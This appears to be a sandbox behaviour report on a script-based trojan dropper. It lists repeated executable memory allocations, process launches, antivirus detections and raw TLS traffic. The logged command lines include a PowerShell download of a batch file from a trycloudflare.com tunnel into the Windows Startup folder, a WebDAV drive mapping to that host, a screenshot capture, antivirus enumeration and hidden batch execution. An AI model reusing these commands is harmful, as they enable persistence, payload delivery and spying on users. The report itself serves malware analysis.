1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0254a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02523000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02524000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0255b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02557000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0251b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02542000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02555000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02525000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0254c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02860000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02526000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0255c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02543000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02544000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02545000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02546000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02547000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02548000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02549000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028ed000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028ee000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028ef000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e21000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e22000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e23000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2856
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e24000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.bat
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\batchcache\tre.bat"
cmdline "C:\Windows\System32\cmd.exe" /c net use Z: "\\minutes-amazing-curriculum-maui.trycloudflare.com@SSL\DavWWWRoot"
cmdline powershell -Command "(New-Object Net.WebClient).DownloadFile('https://minutes-amazing-curriculum-maui.trycloudflare.com/update.bat', 'C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.bat')"
cmdline powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $screen = [System.Windows.Forms.Screen]::PrimaryScreen; $bmp = New-Object Drawing.Bitmap $screen.Bounds.Width, $screen.Bounds.Height; $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($screen.Bounds.Location, [System.Drawing.Point]::Empty, $screen.Bounds.Size); $bmp.Save('C:\Users\test22\AppData\Local\Temp\test22-PC_screenshot.png', [System.Drawing.Imaging.ImageFormat]::Png);"
cmdline "C:\Windows\System32\cmd.exe" /c net use Z: /delete /y
cmdline "C:\Windows\System32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\batchcache\curl.bat"
cmdline powershell -Command "[System.Net.Dns]::GetHostName()"
cmdline "C:\Windows\System32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\batchcache\de.bat"
cmdline powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\test22\AppData\Local\Temp\batchcache\tre.bat\" hidden' -WindowStyle Hidden"
cmdline C:\Windows\system32\cmd.exe /c powershell -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName" 2>nul
cmdline C:\Windows\System32\cmd.exe /c "C:\Users\test22\AppData\Local\Temp\batchcache\tre.bat" hidden
cmdline powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\test22\AppData\Local\Temp\batchcache\curl.bat' -ArgumentList 'hidden' -WindowStyle Hidden"
cmdline C:\Windows\system32\cmd.exe /c powershell -Command "[System.Net.Dns]::GetHostName()"
cmdline "C:\Windows\system32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\batchcache\tre.bat" hidden
cmdline powershell -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName"
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: cmd
parameters: /c net use Z: /delete /y
filepath: cmd
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: cmd
parameters: /c net use Z: "\\minutes-amazing-curriculum-maui.trycloudflare.com@SSL\DavWWWRoot"
filepath: cmd
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: cmd
parameters: /c "C:\Users\test22\AppData\Local\Temp\batchcache\curl.bat"
filepath: cmd
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: cmd
parameters: /c "C:\Users\test22\AppData\Local\Temp\batchcache\tre.bat"
filepath: cmd
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: cmd
parameters: /c "C:\Users\test22\AppData\Local\Temp\batchcache\de.bat"
filepath: cmd
1 1 0

CreateProcessInternalW

 thread_identifier: 2860
thread_handle: 0x00000088
process_identifier: 2856
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\test22\AppData\Local\Temp\batchcache\curl.bat' -ArgumentList 'hidden' -WindowStyle Hidden"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x00000084
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\batchcache\curl.bat
parameters: hidden
filepath: C:\Users\test22\AppData\Local\Temp\batchcache\curl.bat
1 1 0

CreateProcessInternalW

 thread_identifier: 2804
thread_handle: 0x00000088
process_identifier: 2812
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\test22\AppData\Local\Temp\batchcache\tre.bat\" hidden' -WindowStyle Hidden"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x00000084
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Windows\system32\cmd.exe
parameters: /c "C:\Users\test22\AppData\Local\Temp\batchcache\tre.bat" hidden
filepath: C:\Windows\System32\cmd.exe
1 1 0
Skyhigh BehavesLike.VBS.Dropper.zv
Kaspersky HEUR:Trojan.Script.Generic
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 1680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 16 (PAGE_EXECUTE)
base_address: 0x05230000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received Whét^ÆÞ¸JÛé]†=ž9ŒÁFºDOWNGRD #˜ßX-‘éÞ2©ôqˆaÒ,.ä X‚µÏ×¸Àÿ 
Data received Ë
Data received ÇÄF0‚B0‚* /’íš7oŽ úl q«Ï0  *†H†÷  0;1 0 UUS10U Google Trust Services1 0 UWR10 250422165136Z 250721174959Z010Utrycloudflare.com0‚"0  *†H†÷ ‚0‚ ‚»oçUkªÎª9ҀhäYMoM"Ãѳ;=ÃG¼ãÇJ*ŽˆPiçåÀ(°[ƒïD‹ü2•¢ˆŠÁxÚò™ß§†cОñÒ 7"7µ‰bíZ()m†ûâæö ÁÍØX¶+çójØ܆ùj^´ž­qÞWe^“GHg;°ÒìcÞýa%p M³ê ÁS ñÿQç¿D™oMm¸Ã‡¹¹U€îä0Éf µÒÕ՝™XkPt‹r€}kV¡¶ØԓÁ£ËD¸‡X}ëùU&·š"»<€Éóp˜7ôfä±0ÊöJÙ5¬¢/ecŽ@xVR¹QG®s“Á^ÞhPl¦Î룂_0‚[0Uÿ 0U% 0 +0 Uÿ00Uï9þℌ¾òf{JVÄ7{0U#0€fiIÔÞ*œ‘ω$¸0nˆ.0^+R0P0'+0†http://o.pki.goog/s/wr1/L5I0%+0†http://i.pki.goog/wr1.crt01U*0(‚trycloudflare.com‚*.trycloudflare.com0U  0 0g 06U/0-0+ ) '†%http://c.pki.goog/wr1/Cj_AnkL3zwk.crl0‚ +Öyõòðw}Yáx*{ag|^ýøЇ\ N•ž¹/ÙŒ.y¸–^ xÂH0F!ãþl͜:s1L±ðâ'K7ûµ Ð}¯£ÁHkHû÷!µQ—ŠpNÃɋd×;w ƒÐ— Íph9þw7é[uÝÜÊ4•×áç•2úǟø=PßÛ:v ,¬»È*–^ xÐF0D ȓIå&|Ã:•LsE6ï¿o fÔÅMã ß¼I $ó22äAZ¶–WŠ1 ·4ᲦO ª.‰j™˜îž0  *†H†÷  ‚‹•“jÏÞ웧D¦°J¨” Tñ Æ~|±ˆª~kŒ j­§Vt½õav’uö퇦׌„®fø&sÙõh›‹Æ·ÄõCqºæ“!èÁÆR½4a0S»“”ê3͌ågfGÂ’:øv˜5Vv‰óÖÈgw+7é‚ó“¾)î¬!Wt-xæ?‰â„˜ó’zU ~l!¬/#õé „1&=‘<¾Ê¡ËÒ晳±oS•rá¸!Q=ß?Ã5®pì€ ¨ýÌ^ºÝH†lŠÎª¯U*Ø6GœBâ°îý˅̊T‚õ){µj£çó½¬@èG1ufØq¶0‚ 0‚ó ÙâÂÒŠt¶'¢mh§0  *†H†÷  0G1 0 UUS1"0 U Google Trust Services LLC10U GTS Root R10 231213090000Z 290220140000Z0;1 0 UUS10U Google Trust Services1 0 UWR10‚"0  *†H†÷ ‚0‚ ‚Ïn6Š·+îF˜Spwî£K r¾#-ÂGƏ\ù=æŽî3" ÉH¸°bÎôi r}ÞÕ&Ãn›Ï~× ÏƐ;£‚Ú:ÿlV¿Üéa”Eäi¼OÉÀ­aDr Ð+žhjbjŠ"Wyi+â$3~vc,]¼Qi~#±ÿvñî¸Xµk5ï¡æH(9—1Ù•§ž®Ï˜¼žŠᰗMPo“LJøÛ}ñ™ã–íî1êr=Rß%d¥ pªžè¨¹GȧZ%`oBá×?ç ðƒF3 æKwv¡h§]ïØ(w5­­FäbnâªøÌï7~&³£þ0û0Uÿ†0U%0++0Uÿ0ÿ0UfiIÔÞ*œ‘ω$¸0nˆ.0U#0€ä¯+&q+H'…/Rf,ïð‰q>04+(0&0$+0†http://i.pki.goog/r1.crt0+U$0"0   †http://c.pki.goog/r/r1.crl0U  0 0g 0  *†H†÷  ‚Næ³ ‘`'ùQMî¸Á‰Õ"„—æÖßæN:;)~Þ ñ⍋ӪD7’˜¥ý7Œ©IX1d&eµC×ò—ìT9›U:8wá³@'ÏV{Tœ37yðäîÌQ²‘s!Ã?©¶Ó¤×—Òák$ÛäïèT•• ßý.¶n»ƒZ4Pà†{™ŠŠˆJ¤ÓÇi9Ÿ“˜ðÊAË_È]·«o )Õ$§Ÿo‘#»z7÷ê<*ðÀXéòH5§­DÆ£Ø †Œ“=¤÷°%¾ˆ÷ÿß¾§^€³ØøïÅG%˜Š,>·4ɕjµPuÒ êC¯MîdҙñFt~šwF„ï´ËmÆEz6¹èü§•*¦z¾{ñγê£PU˜ü–P¯¯êÁ®ÎÎÌ«´klã½tpÌ¤úu¢üLVÝ{Ò±.Mø.‘ ¥f« ólqюÍx ½ó…Ã;ħB¸31åñ“–%'U”P¾? 7ý‰_ô ¢¥kõÏo,æÄulü¿ºä7¾9Ù玑F#Üq¶ÃrF̚Ñ@œûºS¨\5ä žñ!³—hq·^–ÛÇü@nŠ²k;1DÚ»@/,—TÝ3Ÿ ¥Î%õ*AåHçè@í_§×à?Ÿ³iƒD¾äàòµhy]nxqÃuv²g0®x¶Ú3‡Gf0‚b0‚J w½ lÛ6ùê!ÄðXÓ 0  *†H†÷  0W1 0 UBE10U GlobalSign nv-sa10U Root CA10UGlobalSign Root CA0 200619000042Z 280128000042Z0G1 0 UUS1"0 U Google Trust Services LLC10U GTS Root R10‚"0  *†H†÷ ‚0‚ ‚¶‹ã¡w›;Ü¿”>·•§@<¡ý‚ù}2‚qööŒûèÛ¼j.——£ŒKù+ö±ù΄±ùŗÞï¹ò£é¼‰^§ªR«ø#'ˤ±œcÛי~ð ^ëh¦ôÆZG M3ãN±£ÈlKìü ßd)%#¡´Ò=.`àÏÒ ‡»ÍHðMÂÂzˆŠ»ºÏYÖ¯°°ž1ñ‚ÁÀß.¦mlµØ~&E=°y¤”(­&å¨þ–è<h”Sîƒ:ˆ+– ²àzŒ.u֜ë§Vd–Oh®=—„À¼@À \½ö‡³5l¬P„àLÍ’Ó é3¼R™¯2µ)³%*´HùráÊd÷悍èÂŠˆú8fŠücùùxý{\wúv‡úìß±y•W´½&ïÖÑë »Ž µÅŊU«Ó¬ê‘K)̤2%N*ñeDÐΪÎI´êŸ|ƒ°@{çC«§l£}‰úL¥ÿՎÃÎKàµØ³ŽEÏvÀí@+ýS°§Õ; ±Š¢Þ1­Ìwêo{>Öߑ"æ¾úØ2ücQrÞ]Ö“½)h3ï:fìŠ&ß×Wex'Þ^I¢š¨!¶©±•°¥¹ ÚÇlH<@à~ ZÍV<ї¹ËKí9KœÄ?ÒUn$°ÖqúôÁºÌíõþAؘ=:È®z˜7•£‚80‚40Uÿ†0Uÿ0ÿ0Uä¯+&q+H'…/Rf,ïð‰q>0U#0€`{fE —ʉP/}Í4¨ÿüýK0`+T0R0%+0†http://ocsp.pki.goog/gsr10)+0†http://pki.goog/gsr1/gsr1.crt02U+0)0' % #†!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g 0g 0  +Öy0  +Öy0  *†H†÷  ‚4¤±(£Ð´v¦1z!éÑR>ÈÛtAˆ¸=5íäÿ“á\_«»ê|ÏÛä ыWò&o[¾Fh”7okzÈÀ7ú%Q¬ìh¿²ÈIýZšÊ#¬„€+Œ™—ëIjŒu×Ç޲ɗŸXHW5¡äÖýoƒoïŒÏ—¯À…*ðõNi ‘-áh¸Á+séÔÙü"À7 fIíUgá2×Ó&¿pã=ôgm=|å4ˆã2ú§njo½‹‘îKè;©³7çÃD¤~Øl×ÇFõ’›çÕ!¾f’”UlÔ)² Áf[âwIH(í×3rS³‚5Ïb‹É$‹¥·9 »~*A¿RÏü¢–¶Â‚?
Data received K
Data received GAÑçþx0Ñv)ÒÎ$\€*]pª¥˜_âG]OßêÁ£à(þi³Ê–‡…1¦¹(¿ æTî³snJº?£ÔO×·AÊfÅ\ùØLþ•Æ×Yù¾i™TÅy‰Ë“o‰i•š ánŠõé§6Ïx!Œ.Y½`8†ù^…W·¤J]áyŸ¬½oC4"¨‰*‹T(FÕMÈgr œW\~Bßd®6s&¾y? ¿29›·û|ÏE(Œ]QnÊåeߔÐǙé¬;v‹¼Á[•dbŠ©ŽcuäÈÉ€¸S,e¶l !Çþéþî·A,¿j")v´±£IûÁA}÷O¹*­œS¯ŒD‡#ô¶pN³\áÀW¼ßÞȍW=ËÃôF¼â¹ñÀFETŸ®Ï@ÁAÍÛ긦cvZû¼ X-z*ˆ
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received 2¸ÛsžQîrâA`‘+¤×&×|–Æ]‹|Üzäý#1[öñ¯92“º×-úË?@Æ
Data received p
Data received Dá`¿ϖµËÁ}ÑàÍN‰:.0¡ØŒGéÖ÷ª ž`ÌôÜhŸèËN4„¥tÐj£•X\PŒ¥%áüè‡ÿ P£´’Sت} «²Sñô¬ÀEW"}ŸÖK†Ó#Õí‡,ë ÿýñÜ BªjN­+f¹ty÷ƒU‚8C<—Táq#€‰~:Ä»_3Uw"M²Íö¶ å•dbŽ“©ôg¬ÜÕÝæ}bÃݔRÁ,„ï8 ÑiÿÝÿ_7§Íä°sµƒn(j®À7—CŠnƒŽàåÓ~ãבTÄtWµ±|?I·Ýû•vù®Ot¹³ˆÁe.JÔ"͛ËNÅø¿çA[–嶛Ì'Ë`µJ |ÈvaÈpÞ.ã çýÕ§¸'Õ&5£ï Ï¡6Ò-af µC¯–Vª4ʊ·˶i ñé õÏpsÀCS?hÒw„b¤íȉbS"}´®ç~öW·ß' žg–5)mk8µû`gûl„Ϲ†–«l7Cs•“a¼ ¦Ì-B,µS®ë@§YàfŒ•ÅÜœí K¿›†èõِ?[qÂ3ÁØQŠéK¾©§³#p0Æx˜ï Ü=ͽVþ2ŒÁÁG‡—\C[X ]Ðõ—2_'È B å¾ˆ&O?J„_ºÂWüºÑ &L¦Àñ¥ÉQh¯ì€úßð&^ÁÖ¹” dQïZytÏ×ö—«Ú0"tI[¯DhtŸòj2<9ßïhu®¨éVéñӏ́®ñ¯K¬Àå¼ùŠaKNÁIÛÿx¯±³=»nN^Çîþñ…tC¦I@ù[k®Zú~µ²´ÿñ|‡!ïèZs°Ýéä$͐œòpqÂ0´€ZäÀ ¥C’úqZŒÝµù躮7™‹Ð"òõI÷!šÓ¥1¼Á!¢™š¿àï´0Ô0€¨ ~ð"ìï2‰ë_“Å$Èí’ï™É³@”÷ÜR2¢ôVٗ¨Ä‹wÓûmäuöø_£KëyÄX$éð&¯+€œÛ¡oßÞCK•±¡ý(Õ®‰ÿ_ϤŠ?eoìsç"ùF²]Íô¾Óâ +‰ZßÚ=?і¯§ë¬þo«wYr.²›ãîø%¶èX t¯n«Š Åê`·»¢ùâ“Yĕ.Ë÷N†*ˆ`ŸI2žº­kH:nÐØhV†£bùŽø@z‹zkbÖìœ/Á‹>$X’ÿS8FÙ®/{€þ¼Û¶ík®ÃUJÇ'†œ ¦r¸oÑMæê¨SQ|Mr1Ùײ†p r;°<Gø[îC?ûíB Å-@·B›kÏ*zÙo3ùâoݖ¿¸_£×zºÒCdÔBÑxúã’SϨ¼Ÿ X¿ñ™{@Sä'ˆT«¯ñ·ÏN7éM$hÍõ6 Ã…A³´¡vú áó˜b&Æ@œÆ¿5k 'Á†cW çӟÇ;ù÷ÌÓÞ1dYá풬䦌ái3BLÔ½n)³A5e ˊ¾¤w ÿêÇ¢ ½Ù«V`"«ÞÍ¥Âb×hìÛuÎ*a$Êz aÞPót5óªaÇ©áh‰:âkJ~çÆsqHx˜(l þ¢¼·q: >|FêGÉ9¸¦¿[·}VòðÌ#¿÷Š0’à¥ÕÛã|½;Rwü{2ËwŒSÉ«oŒ±µD´ÄUáä=Œ캽™[ ±¢)¯€;žf<yŠë4»cCiš¡Ér—+“qƒ…¿·†5ÇKY@:ÐL$ˆÎW2œï%XZÉfð¶ŸÖSîІ΄ò¤Tr#Ë?˜®"æԗ5à¡kØõ·”à–+5z)Ò¡)CýÏlÒÄ
